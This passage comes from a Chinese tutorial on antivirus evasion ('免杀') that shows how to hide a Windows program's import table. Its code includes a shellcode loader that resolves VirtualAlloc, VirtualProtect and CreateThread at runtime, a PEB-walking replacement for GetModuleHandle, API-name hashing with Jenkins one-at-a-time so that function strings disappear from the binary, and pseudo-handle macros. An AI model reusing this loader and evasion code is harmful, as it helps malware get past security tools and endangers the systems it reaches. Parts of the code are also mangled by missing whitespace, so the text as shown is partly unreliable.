_In_ LPCSTR lpLibFileName
);
pGetModuleHandle MyGetModuleHandle=(pGetModuleHandle)MyGetProcAddress(hKernel32,"GetModuleHandle");
//自定义VirtualProtect
typedef BOOL(WINAPI* pVirtualProtect) (
LPVOID lpAddress,
SIZE_T dwSize,
DWORD  flNewProtect,
PDWORD lpflOldProtect
);
pVirtualProtect MyVirtualProtect=(pVirtualProtect)MyGetProcAddress(hKernel32,"VirtualProtect");
//自定义CreateThread
typedef HANDLE(WINAPI* pCreateThread)(
LPSECURITY_ATTRIBUTES   lpThreadAttributes,
SIZE_T                  dwStackSize,
LPTHREAD_START_ROUTINE  lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD                   dwCreationFlags,
LPDWORD                 lpThreadId
);
pCreateThread MyCreateThread=(pCreateThread)MyGetProcAddress(hKernel32,"CreateThread");
//自定义VirtualAlloc
typedef LPVOID(WINAPI* pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD  flAllocationType,
DWORD  flProtect
);
pVirtualAlloc MyVirtualAlloc=(pVirtualAlloc)MyGetProcAddress(hKernel32,"VirtualAlloc");

// 入口函数
int wmain(int argc, TCHAR* argv[]) {
int shellcode_size =0;
// shellcode长度
DWORD dwThreadId;
// 线程ID
HANDLE hThread;
// 线程句柄
DWORD dwOldProtect;
// 内存页属性
char buf[]="";
// 获取shellcode大小
shellcode_size =sizeof(buf);
char* shellcode =(char*)MyVirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行
MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE,&dwOldProtect);
hThread =MyCreateThread(
NULL,// 安全描述符
NULL,// 栈的大小
(LPTHREAD_START_ROUTINE)shellcode,// 函数
NULL,// 参数
NULL,// 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE);
// 一直等待线程执行结束
return0;
}

【免杀】隐藏导入表(IAT)的六种方式

导出函数无GetProcAddress和GetModuleHandle。

问题

1.VS在X64下不支持内联汇编

2.用汇编写起来,换一个又要找基地址,比较麻烦

0x03、C替代 GetModuleHandle

介绍

该 GetModuleHandle 函数检索指定 DLL 的句柄。 该函数返回一个DLL句柄,如果调用进程中不存在该DLL,则返回NULL。

在这个模块中,将实现函数来替换 GetModuleHandle 。新函数的原型如下所示。

HMODULE GetModuleHandleReplacement(IN LPCWSTR szModuleName){}

GetModuleHandle 的工作原理

数据 HMODULE 类型是加载的DLL的基地址,也就是DLL在进程的地址空间中的位置。因此,替换函数的目标是检索指定DLL的基地址。

进程环境块 (PEB) 包含有关已加载 DLL 的信息,特别是  PEB 结构的成员PEB_LDR_DATA Ldr。因此,第一步是通过 PEB 结构访问此成员。

64 位系统中的 PEB

回想一下,在线程环境块 (TEB) 结构中找到了指向 PEB 结构的指针。

【免杀】隐藏导入表(IAT)的六种方式

在 64 位系统中,TEB 结构指针的偏移量存储在 GS 寄存器中。下图来自 x64dbg。

【免杀】隐藏导入表(IAT)的六种方式

方法 1:在 64 位系统中检索 PEB

有两种不同的方法来检索 PEB。第一种方法是检索 TEB 结构,然后获取指向 PEB 的指针。这种方法可以使用Visual Studio中的__readgsqword(0x30)宏来执行,该宏从GS寄存器读取0x30字节以到达指向TEB结构的指针。

// Method 1 
PTEB pTeb = (PTEB)__readgsqword(0x30); 
PPEB pPeb = (PPEB)pTeb->ProcessEnvironmentBlock;

方法 2:在 64 位系统中检索 PEB

 下一个方法通过使用Visual Studio 中的 __readgsqword(0x60)宏跳过 TEB 结构直接检索 PEB 结构, 该宏 从 GS 寄存器读取0x60字节。

// Method 2 
PPEB pPeb2 = (PPEB)(__readgsqword(0x60));

之所以可以做到这一点,是因为该 ProcessEnvironmentBlock 元素是 0x60 (十六进制)或距离 TEB 结构开头 96 个字节

【免杀】隐藏导入表(IAT)的六种方式

32 位系统中的 PEB

在32位系统中,TEB结构指针的偏移量存储在FS寄存器中  。下图来自x32dbg。

【免杀】隐藏导入表(IAT)的六种方式

回想一下,  PEB 结构的指针 位于 TEB 中。

【免杀】隐藏导入表(IAT)的六种方式

方法 1:在 32 位系统中检索 PEB

与 64 位系统类似,有两种方法可以检索 PEB。

第一种方法涉及获取 TEB 结构,然后使用 Visual Studio 中的__readfsdword(0x18)宏获取 PEB 结构,该宏 从 FS 寄存器 读取 0x18字节。

// Method 1 
PTEB pTeb = (PTEB)__readfsdword(0x18); 
PPEB pPeb = (PPEB)pTeb->ProcessEnvironmentBlock;

方法 2:在 32 位系统中检索 PEB

 第二种方法是通过使用Visual Studio 中的 __readfsdword(0x30)宏跳过 TEB 结构直接获取 PEB, 该宏 从 FS 寄存器读取0x30字节。

// Method 2 
PPEB pPeb2 = (PPEB)(__readfsdword(0x30));

0x30 (hex) 为 48 字节,是 ProcessEnvironmentBlock 元素相对于 32 位 TEB 结构的偏移量。 PVOID 在 32 位系统中,数据类型为 4 字节。

枚举 DLL

一旦检索到 PEB 结构,下一步就是访问 PEB_LDR_DATA Ldr 。PEB_LDR_DATA Ldr包含有关进程中已加载 DLL 的信息。

PEB_LDR_DATA 结构

结构 PEB_LDR_DATA 体如下所示,其中重要的成员是 LIST_ENTRY InMemoryOrderModuleList。

typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

LIST_ENTRY 结构

下面显示的结构 LIST_ENTRY 是一个 双向链表,它本质上与数组相同,但更容易访问相邻元素。

typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

双向链表分别使用 Flink 和 Blink 元素作为头指针和尾指针。这意味着 Flink 指向列表中的下一个节点,而元素 Blink 指向列表中的上一个节点。这些指针用于双向遍历链表。知道这一点后,要开始枚举此列表,应该从访问其第一个元素 InMemoryOrderModuleList.Flink开始。

根据微软对 InMemoryOrderModuleList 成员的定义,它指出列表中的每个项目都是指向 LDR_DATA_TABLE_ENTRY 结构的指针。

【免杀】隐藏导入表(IAT)的六种方式

LDR_DATA_TABLE_ENTRY 结构

LDR_DATA_TABLE_ENTRY结构表示进程加载DLL链表中的一个DLL。每个LDR_DATA_TABLE_ENTRY表示一个唯一的DLL。

typedef struct _LDR_DATA_TABLE_ENTRY {
    PVOID Reserved1[2];
    LIST_ENTRY InMemoryOrderLinks;// 包含加载模块在内存中的顺序的双链表
    PVOID Reserved2[2];
    PVOID DllBase;
    PVOID EntryPoint;
    PVOID Reserved3;
    UNICODE_STRING FullDllName;// 'UNICODE_STRING'结构,包含加载模块的文件名
    BYTE Reserved4[8];
    PVOID Reserved5[3];
union{
        ULONG CheckSum;
        PVOID Reserved6;
};
    ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;

实现逻辑

根据目前提到的所有内容,需要采取的措施包括:

  1. 1. 检索 PEB
  2. 2. 从 PEB 中检索 Ldr 成员
  3. 3. 检索链接列表中的第一个元素
HMODULE GetModuleHandleReplacement(IN LPCWSTR szModuleName){

// Getting peb
#ifdef _WIN64 // if compiling as x64
PPEB pPeb =(PEB*)(__readgsqword(0x60));
#elif _WIN32 // if compiling as x32
PPEB pPeb =(PEB*)(__readfsdword(0x30));
#endif// Getting the Ldr
PPEB_LDR_DATA pLdr =(PPEB_LDR_DATA)(pPeb->Ldr);

// 获取链表中的第一个元素,其中包含有关第一个模块的信息
PLDR_DATA_TABLE_ENTRY pDte =(PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);

}

由于每个pDte 都 代表链接列表内唯一的 DLL,因此可以使用以下代码获取下一个元素:

pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);

上面这行代码可能看起来很复杂,但它所做的只是对存储在pDte所指向的地址中的值解引用,然后将结果强制转换为指向PLDR_DATA_TABLE_ENTRY结构的指针。这就是链表的工作原理,如下图所示

【免杀】隐藏导入表(IAT)的六种方式

枚举 DLL - 代码

下面的代码片段将检索已在调用进程中加载的 DLL 的名称。该函数搜索目标模块。 szModuleName如果匹配,该函数将返回 DLL 的句柄(HMODULE),否则,它将返回 NULL。

HMODULE GetModuleHandleReplacement(IN LPCWSTR szModuleName) {

// Getting PEB
#ifdef _WIN64 // if compiling as x64
PPEB            pPeb    =(PEB*)(__readgsqword(0x60));
#elif _WIN32 // if compiling as x32
PPEB            pPeb    =(PEB*)(__readfsdword(0x30));
#endif// Getting Ldr
PPEB_LDR_DATA            pLdr    =(PPEB_LDR_DATA)(pPeb->Ldr);

// Getting the first element in the linked list which contains information about the first module
PLDR_DATA_TABLE_ENTRY    pDte    =(PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);

while(pDte){

// If not null
if(pDte->FullDllName.Length!=NULL){
// Print the DLL name
wprintf(L"[i] "%s" n", pDte->FullDllName.Buffer);
}
else{
break;
}

// Next element in the linked list
pDte =*(PLDR_DATA_TABLE_ENTRY*)(pDte);

}

returnNULL;
}

【免杀】隐藏导入表(IAT)的六种方式

区分大小写的 DLL 名称

通过检查上图中的输出,可以很容易地观察到一些 DLL 名称是大写的,而另一些则不是,这会影响获取 DLL 基址的能力(HMODULE)。例如,如果我们正在搜索 DLL KERNEL32.DLL 并传递 Kernel32.DLL ,则 wcscmp 函数会将两者视为不同的字符串。

为了解决这个问题,我们创建了一个辅助函数 IsStringEqual 来获取两个字符串并将其转换为小写表示,然后在这种状态下进行比较。如果两个字符串相等,则返回 true,否则返回 false。


BOOL IsStringEqual (IN LPCWSTR Str1, IN LPCWSTR Str2) {

WCHAR   lStr1    [MAX_PATH],
lStr2    [MAX_PATH];

int len1 =lstrlenW(Str1),
len2 =lstrlenW(Str2);

int i =0,
j =0;

// Checking length. We dont want to overflow the buffers
if(len1 >= MAX_PATH || len2 >= MAX_PATH)
return FALSE;

// Converting Str1 to lower case string (lStr1)
for(i =0; i < len1; i++){
lStr1[i]=(WCHAR)tolower(Str1[i]);
}
lStr1[i++]=L'�';// null terminating

// Converting Str2 to lower case string (lStr2)
for(j =0; j < len2; j++){
lStr2[j]=(WCHAR)tolower(Str2[j]);
}
lStr2[j++]=L'�';// null terminating

// Comparing the lower-case strings
if(lstrcmpiW(lStr1, lStr2)==0)
return TRUE;

return FALSE;
}

 

DLL 基址

获取 DLL 基地址需要引用该 LDR_DATA_TABLE_ENTRY 结构。不幸的是,微软的官方文档中缺少大量该结构的内容。因此,为了更好地理解该结构,我们在 Windows Vista 内核结构上进行了搜索。该结构的结果可以在这里找到 。

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    WORD LoadCount;
    WORD TlsIndex;
union{
        LIST_ENTRY HashLinks;
struct{
            PVOID SectionPointer;
            ULONG CheckSum;
};
};
union{
        ULONG TimeDateStamp;
        PVOID LoadedImports;
};
    PACTIVATION_CONTEXT EntryPointActivationContext;
    PVOID PatchInformation;
    LIST_ENTRY ForwarderLinks;
    LIST_ENTRY ServiceTagLinks;
    LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY,* PLDR_DATA_TABLE_ENTRY;

DLL 基地址为 InInitializationOrderLinks.Flink,虽然名字上没有暗示,但可惜微软喜欢混淆视听。通过将此成员与微软官方文档的 进行比较 LDR_DATA_TABLE_ENTRY,可以看出 DLL 的基地址是一个保留元素(Reserved2[0])。

考虑到这一点, GetModuleHandle 替换功能就能够完成了。

GetModuleHandle 替换函数

GetModuleHandleReplacement 是替代  GetModuleHandle的函数。它将搜索给定的 DLL 名称,如果该名称已被进程加载,则返回该 DLL 的句柄。

HMODULE GetModuleHandleReplacement(IN LPCWSTR szModuleName) {

// Getting PEB
#ifdef _WIN64 // if compiling as x64
PPEB pPeb =(PEB*)(__readgsqword(0x60));
#elif _WIN32 // if compiling as x32
PPEB pPeb =(PEB*)(__readfsdword(0x30));
#endif// Getting Ldr
PPEB_LDR_DATA pLdr =(PPEB_LDR_DATA)(pPeb->Ldr);
// Getting the first element in the linked list (contains information about the first module)
PLDR_DATA_TABLE_ENTRY pDte =(PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);

while(pDte){

// If not null
if(pDte->FullDllName.Length!=NULL){

// Check if both equal
if(IsStringEqual(pDte->FullDllName.Buffer, szModuleName)){
wprintf(L"[+] Found Dll "%s" n", pDte->FullDllName.Buffer);
#ifdef STRUCTSreturn (HMODULE)(pDte->InInitializationOrderLinks.Flink);
#elsereturn (HMODULE)pDte->Reserved2[0];
#endif // STRUCTS}

// wprintf(L"[i] "%s" n", pDte->FullDllName.Buffer);
}
else{
break;
}

// Next element in the linked list
pDte =*(PLDR_DATA_TABLE_ENTRY*)(pDte);

}

returnNULL;
}

下面显示了未解释的一部分代码。这部分代码确定 LDR_DATA_TABLE_ENTRY 使用的是 Microsoft 的结构版本还是 Windows Vista 内核结构中的版本。根据使用的是哪个版本,成员的名称会发生变化。

#ifdef STRUCTSreturn (HMODULE)(pDte->InInitializationOrderLinks.Flink);
#elsereturn (HMODULE)pDte->Reserved2[0];
#endif // STRUCTS

获取模块句柄替换2

 GetModuleHandleReplacement函数的另一个实现 可在此模块的代码中找到。 GetModuleHandleReplacement2 使用头部和链接列表的元素执行 DLL 枚举,这些元素利用双向链接列表概念。此函数是为熟悉链接列表的用户创建的。

演示

本章我没有直接调试,后面加入第四章内容后一起进行的调试

【免杀】隐藏导入表(IAT)的六种方式

0x04、对函数字符串进行哈希比较

上面解决了导出表存在函数的问题,还有一个问题:文件会包含敏感函数的字符串。

例如,使用函数来替换 VirtualAllocEx。

GetProcAddressReplacement(GetModuleHandleReplacement("ntdll.dll"),"VirtualAllocEx")

杀软可以很容易地检索编译二进制文件中的字符串,并识别正在使用的VirtualAllocEx。

为了解决这个问题,对于GetProcAddressReplacement和getmodulehandlreplacement

我们可以使用字符串散列算法,用哈希值比较来获取指定的模块基址或函数地址。

实现 JenkinsOneAtATime32Bit

GetProcAddressReplacement和getmodulehandlreplacement函数在本模块中分别被重命名为GetProcAddressH和GetModuleHandleH。

这些更新后的函数使用Jenkins One At A Time字符串散列算法,用散列值替换函数和模块名称。

这个算法是通过字符串哈希模块中引入的JenkinsOneAtATime32Bit函数来使用的。

哈希字符串

为了使用此模块中显示的函数,需要获取模块名称(例如 User32.dll)的哈希值和函数名称的哈希值(例如 MessageBoxA)。这可以通过首先将哈希值打印到控制台来完成。确保哈希算法使用相同的种子。

// ...

int main(){
printf("[i] Hash Of "%s" Is : 0x%0.8X n","USER32.DLL",HASHA("USER32.DLL"));// 大写模块名
printf("[i] Hash Of "%s" Is : 0x%0.8X n","MessageBoxA",HASHA("MessageBoxA"));

return0;
}

55IAT_Hiding_API_Hashing

#include <stdio.h>
#include <stdint.h>

#define HASHA(x) (JenkinsOneAtATime32Bit(x))

uint32_t JenkinsOneAtATime32Bit(const char* key) {
size_t i =0;
uint32_t hash =0;
while(key[i]!='�'){
hash += key[i++];
hash += hash <<10;
hash ^= hash >>6;
}
hash += hash <<3;
hash ^= hash >>11;
hash += hash <<15;
return hash;
}
int main() {
printf("[i] Hash Of "%s" Is : 0x%0.8X n","USER32.DLL",HASHA("USER32.DLL"));// 大写模块名
printf("[i] Hash Of "%s" Is : 0x%0.8X n","MessageBoxA",HASHA("MessageBoxA"));

return0;
}

上述main函数将输出以下内容:

参考的原文:
[i]HashOf"USER32.DLL"Is:0x81E3778E
[i]HashOf"MessageBoxA"Is:0xF10E27CA

55IAT_Hiding_API_Hashing:
[i]HashOf"USER32.DLL"Is:0xA2B1A3C7
[i]HashOf"MessageBoxA"Is:0x5A3C04B0

这些哈希值现在可以与下面的函数一起使用。

用法

这些函数的使用方式相同,只是现在传递的是哈希值而不是字符串值。

//参考的原文:
// 0x81E3778E is the hash of USER32.DLL
// 0xF10E27CA is the hash of MessageBoxA
fnMessageBoxA pMessageBoxA = GetProcAddressH(GetModuleHandleH(0x81E3778E),0xF10E27CA);

//55IAT_Hiding_API_Hashing:
// 0xA2B1A3C7 is the hash of USER32.DLL
// 0x5A3C04B0 is the hash of MessageBoxA
fnMessageBoxA pMessageBoxA = GetProcAddressH(GetModuleHandleH(0xA2B1A3C7),0x5A3C04B0);

GetProcAddressH 函数

GetProcAddressH是一个与GetProcAddressReplacement等价的函数,主要区别在于使用JenkinsOneAtATime32Bit字符串哈希算法的哈希值来比较导出的函数名与输入哈希值。

还值得注意的是,代码使用了两个宏,使得代码更清晰,并且更容易在将来更新。

  • • HASHA - 调用 HashStringJenkinsOneAtATime32BitA (ASCII)
  • • HASHW - 调用 HashStringJenkinsOneAtATime32BitW (UNICODE)#define HASHA(API) (HashStringJenkinsOneAtATime32BitA((PCHAR) API)) #define HASHW(API) (HashStringJenkinsOneAtATime32BitW((PWCHAR) API))

考虑到这一点,如下 GetProcAddressH 所示。该函数采用两个参数:

  • • hModule - 包含函数的 DLL 模块的句柄。
  • • dwApiNameHash - 要获取地址的函数名称的哈希值。
FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash){

if(hModule == NULL || dwApiNameHash == NULL)
return NULL;

PBYTE pBase =(PBYTE)hModule;

PIMAGE_DOS_HEADER         pImgDosHdr              =(PIMAGE_DOS_HEADER)pBase;
if(pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;

PIMAGE_NT_HEADERS         pImgNtHdrs              =(PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if(pImgNtHdrs->Signature!= IMAGE_NT_SIGNATURE)
return NULL;

IMAGE_OPTIONAL_HEADER     ImgOptHdr= pImgNtHdrs->OptionalHeader;

PIMAGE_EXPORT_DIRECTORY   pImgExportDir          =(PIMAGE_EXPORT_DIRECTORY)(pBase +ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

PDWORD  FunctionNameArray=(PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD  FunctionAddressArray=(PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD   FunctionOrdinalArray=(PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

for(DWORD i =0; i < pImgExportDir->NumberOfFunctions; i++){
CHAR*    pFunctionName       =(CHAR*)(pBase +FunctionNameArray[i]);
PVOID    pFunctionAddress    =(PVOID)(pBase +FunctionAddressArray[FunctionOrdinalArray[i]]);

// 对每个函数名pFunctionName进行hash
// 如果两个哈希值相等,那么我们就找到了我们想要的函数
if(dwApiNameHash == HASHA(pFunctionName)){
return pFunctionAddress;
}
}

return NULL;
}

与GetProcAddressReplacement 代码相似

【免杀】隐藏导入表(IAT)的六种方式

获取模块句柄

GetModuleHandleH函数与GetModuleHandleReplacement相同,主要区别在于JenkinsOneAtATime32Bit字符串散列算法的散列值将用于比较枚举的DLL名称与输入散列。注意这个函数是如何将FullDllName.Buffer中的字符串大写的。因此,dwModuleNameHash参数必须是一个大写模块名(例如USER32.DLL)的哈希值。

HMODULE GetModuleHandleH(DWORD dwModuleNameHash){

if(dwModuleNameHash == NULL)
return NULL;

#ifdef _WIN64
PPEB      pPeb =(PEB*)(__readgsqword(0x60));
#elif _WIN32
PPEB      pPeb =(PEB*)(__readfsdword(0x30));
#endif

PPEB_LDR_DATA            pLdr  =(PPEB_LDR_DATA)(pPeb->Ldr);
PLDR_DATA_TABLE_ENTRY    pDte  =(PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);

while(pDte){

if(pDte->FullDllName.Length!= NULL && pDte->FullDllName.Length< MAX_PATH){

// Converting `FullDllName.Buffer` 转换成大写
CHAR UpperCaseDllName[MAX_PATH];

DWORD i =0;
while(pDte->FullDllName.Buffer[i]){
UpperCaseDllName[i]=(CHAR)toupper(pDte->FullDllName.Buffer[i]);
i++;
}
UpperCaseDllName[i]='�';

// 哈希' UpperCaseDllName '并将哈希值与输入' dwModuleNameHash '的哈希值进行比较
if(HASHA(UpperCaseDllName)== dwModuleNameHash)
return pDte->Reserved2[0];

}
else{
break;
}

pDte =*(PLDR_DATA_TABLE_ENTRY*)(pDte);
}

return NULL;
}

演示

本演示使用 GetModuleHandleH 和 GetProcAddressH 来调用 MessageBoxA。

#define USER32DLL_HASH      0xA2B1A3C7
#define MessageBoxA_HASH    0x5A3C04B0

int main() {

// 将User32.dll加载到当前进程,以便GetModuleHandleH工作
if(LoadLibraryA("USER32.DLL")==NULL){
printf("[!] LoadLibraryA Failed With Error : %d n",GetLastError());
return0;
}

// 使用GetModuleHandleH获取user32.dll的句柄
HMODULE hUser32Module =GetModuleHandleH(USER32DLL_HASH);
if(hUser32Module ==NULL){
printf("[!] Cound'nt Get Handle To User32.dll n");
return-1;
}

// 使用GetProcAddressH获取MessageBoxA函数的地址
fnMessageBoxA pMessageBoxA =(fnMessageBoxA)GetProcAddressH(hUser32Module,MessageBoxA_HASH);
if(pMessageBoxA ==NULL){
printf("[!] Cound'nt Find Address Of Specified Function n");
return-1;
}

// 调用 MessageBoxA
pMessageBoxA(NULL,"Building Malware With Maldev","Wow", MB_OK | MB_ICONEXCLAMATION);

printf("[#] Press <Enter> To Quit ... ");
getchar();

return0;
}

 

【免杀】隐藏导入表(IAT)的六种方式

这里找到了USER32.DLL

【免杀】隐藏导入表(IAT)的六种方式

这里计算hash,没有问题

【免杀】隐藏导入表(IAT)的六种方式

这里写错了:DllBase与Reserved2[0] 不一样,

导致了下面的错误

【免杀】隐藏导入表(IAT)的六种方式

//return pDte->Reserved2[0]; 修改成 return (HMODULE)pDte->Reserved2[0];

修改后

【免杀】隐藏导入表(IAT)的六种方式

成功。

全部代码

#include <stdio.h>
#include <stdint.h>

#include <windows.h>
#include <winternl.h>

#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>

#define HASHA(x) (JenkinsOneAtATime32Bit(x))

uint32_t JenkinsOneAtATime32Bit(const char* key) {
size_t i =0;
uint32_t hash =0;
while(key[i]!='�'){
hash += key[i++];
hash += hash <<10;
hash ^= hash >>6;
}
hash += hash <<3;
hash ^= hash >>11;
hash += hash <<15;
return hash;
}

HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {

if(dwModuleNameHash ==NULL)
returnNULL;

#ifdef _WIN64
PPEB      pPeb =(PEB*)(__readgsqword(0x60));
#elif _WIN32
PPEB      pPeb =(PEB*)(__readfsdword(0x30));
#endif

PPEB_LDR_DATA            pLdr =(PPEB_LDR_DATA)(pPeb->Ldr);
PLDR_DATA_TABLE_ENTRY    pDte =(PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);

while(pDte){

if(pDte->FullDllName.Length!=NULL&& pDte->FullDllName.Length< MAX_PATH){

// Converting `FullDllName.Buffer` 转换成大写
CHAR UpperCaseDllName[MAX_PATH];

DWORD i =0;
while(pDte->FullDllName.Buffer[i]){
UpperCaseDllName[i]=(CHAR)toupper(pDte->FullDllName.Buffer[i]);
i++;
}
UpperCaseDllName[i]='�';

// 哈希' UpperCaseDllName '并将哈希值与输入' dwModuleNameHash '的哈希值进行比较
if(HASHA(UpperCaseDllName)== dwModuleNameHash)
//return pDte->Reserved2[0]; 修改,转换成句柄
return(HMODULE)pDte->Reserved2[0];
//return (HMODULE)pDte->DllBase;  修改1,不行

}
else{
break;
}

pDte =*(PLDR_DATA_TABLE_ENTRY*)(pDte);
}

returnNULL;
}

FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {

if(hModule ==NULL|| dwApiNameHash ==NULL)
returnNULL;

PBYTE pBase =(PBYTE)hModule;

PIMAGE_DOS_HEADER         pImgDosHdr =(PIMAGE_DOS_HEADER)pBase;
//if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
//    return NULL;

PIMAGE_NT_HEADERS         pImgNtHdrs =(PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if(pImgNtHdrs->Signature!= IMAGE_NT_SIGNATURE)
returnNULL;

IMAGE_OPTIONAL_HEADER     ImgOptHdr= pImgNtHdrs->OptionalHeader;

PIMAGE_EXPORT_DIRECTORY   pImgExportDir =(PIMAGE_EXPORT_DIRECTORY)(pBase +ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

PDWORD  FunctionNameArray=(PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD  FunctionAddressArray=(PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD   FunctionOrdinalArray=(PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

for(DWORD i =0; i < pImgExportDir->NumberOfFunctions; i++){
CHAR* pFunctionName =(CHAR*)(pBase +FunctionNameArray[i]);

//原来的代码
//PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
FARPROC pFunctionAddress =(FARPROC)(pBase +FunctionAddressArray[FunctionOrdinalArray[i]]);

// 对每个函数名pFunctionName进行hash
// 如果两个哈希值相等,那么我们就找到了我们想要的函数
if(dwApiNameHash ==HASHA(pFunctionName)){
return pFunctionAddress;
}
}

returnNULL;
}

#define USER32DLL_HASH      0xA2B1A3C7
#define MessageBoxA_HASH    0x5A3C04B0

// 定义 MessageBoxA 函数指针类型
typedef int (WINAPI* fnMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

int main() {
printf("[i] Hash Of "%s" Is : 0x%0.8X n","USER32.DLL",HASHA("USER32.DLL"));// 大写模块名
printf("[i] Hash Of "%s" Is : 0x%0.8X n","MessageBoxA",HASHA("MessageBoxA"));

// 将User32.dll加载到当前进程,以便GetModuleHandleH工作
if(LoadLibraryA("USER32.DLL")==NULL){
printf("[!] LoadLibraryA Failed With Error : %d n",GetLastError());
return0;
}

// 使用GetModuleHandleH获取user32.dll的句柄
HMODULE hUser32Module =GetModuleHandleH(USER32DLL_HASH);
if(hUser32Module ==NULL){
printf("[!] Cound'nt Get Handle To User32.dll n");
return-1;
}

// 使用GetProcAddressH获取MessageBoxA函数的地址
fnMessageBoxA pMessageBoxA =(fnMessageBoxA)GetProcAddressH(hUser32Module,MessageBoxA_HASH);
if(pMessageBoxA ==NULL){
printf("[!] Cound'nt Find Address Of Specified Function n");
return-1;
}

// 调用 MessageBoxA
pMessageBoxA(NULL,"Adjust from Maldev","Wow", MB_OK | MB_ICONEXCLAMATION);

printf("[#] Press <Enter> To Quit ... ");
getchar();

return0;
}

搜索消息框字符串

使用 Strings.exe Sysinternal 工具 搜索字符串“MessageBox”。

E:downloadsStrings

.strings.exe C:Usersalisourcerepos55IAT_Hiding_API_Hashingx64Debug55IAT_Hiding_API_Hashing.exe | findstr -i "MessageBox"

【免杀】隐藏导入表(IAT)的六种方式

可以观察到我们的二进制文件中没有相应的字符串。 MessageBoxA 被成功调用,但未被导入到 IAT 中或作为二进制文件中的字符串公开。 这适用于 32 位和 64 位系统。

【免杀】隐藏导入表(IAT)的六种方式

ps:打印hash这块需要去掉,否则还是有一个地方有字符串

0x05、自定义伪句柄

介绍

如第四章所述,利用 API 哈希来掩盖字符串是一种有效的方法。但是,如果可行的话,有时替换 WinAPI 本身可以增强 IAT 的隐蔽性,从而减少哈希值的数量,并减少与 API 哈希算法相关的潜在启发式签名。此外,为 WinAPI 函数实现自定义代码可以在各种实现中使用,从而简化整个 IAT 隐藏过程的自动化。

话虽如此,这个模块将使用调试器分析两个检索伪句柄的函数,然后创建它们的自定义版本。同样,目标是避免这些函数出现在 IAT 中,而不利用 API 哈希。将要分析的函数是:

  • • GetCurrentProcess-检索调用进程的伪句柄。
  • • GetCurrentThread- 检索调用线程的伪句柄。

什么是伪句柄?

伪句柄(Pseudo Handle)是一种不对应特定系统资源的句柄,而是作为当前进程或线程的引用。

分析功能

如前所述,这两个函数都会返回其相关对象的伪句柄,无论它是进程还是线程。本节将使用 xdbg 调试器分析这些函数,以了解其内部工作原理。

首先在导出的DLL kernel32.dll中搜索GetCurrentProcess函数。函数的地址是0x00007FFAA8E40160。

【免杀】隐藏导入表(IAT)的六种方式

前往此地址并注意 jmp 说明。

【免杀】隐藏导入表(IAT)的六种方式

双击跟随跳转到达函数的代码。指令rax, FFFFFFFFFFFFFFFF将把rax寄存器设置为该值,ret指令将返回0xffffffffffffff。两者的补码表示0xffffffffffffffffff是-1。

【免杀】隐藏导入表(IAT)的六种方式

对GetCurrentThread函数执行相同的步骤。

【免杀】隐藏导入表(IAT)的六种方式

【免杀】隐藏导入表(IAT)的六种方式

类似地,这个函数返回0xFFFFFFFFFFFFFFFE。0xfffffffffffffffffffffe的二进制补码表示为-2。

定制实施

由于GetCurrentProcess返回-1,GetCurrentThread返回-2,因此可以用以下宏替换函数。注意,这些值被类型转换为HANDLE类型。

#define NtCurrentProcess() ((HANDLE)-1) // 返回当前进程的伪句柄 
#define NtCurrentThread() ((HANDLE)-2) // 返回当前线程的伪句柄

32 位系统

64位版本的GetCurrentProcess和GetCurrentThread函数与32位版本的不同之处在于HANDLE数据类型的大小。32位系统上的HANDLE数据类型为4字节。下图显示了32位系统上的GetCurrentProcess。

【免杀】隐藏导入表(IAT)的六种方式

总结

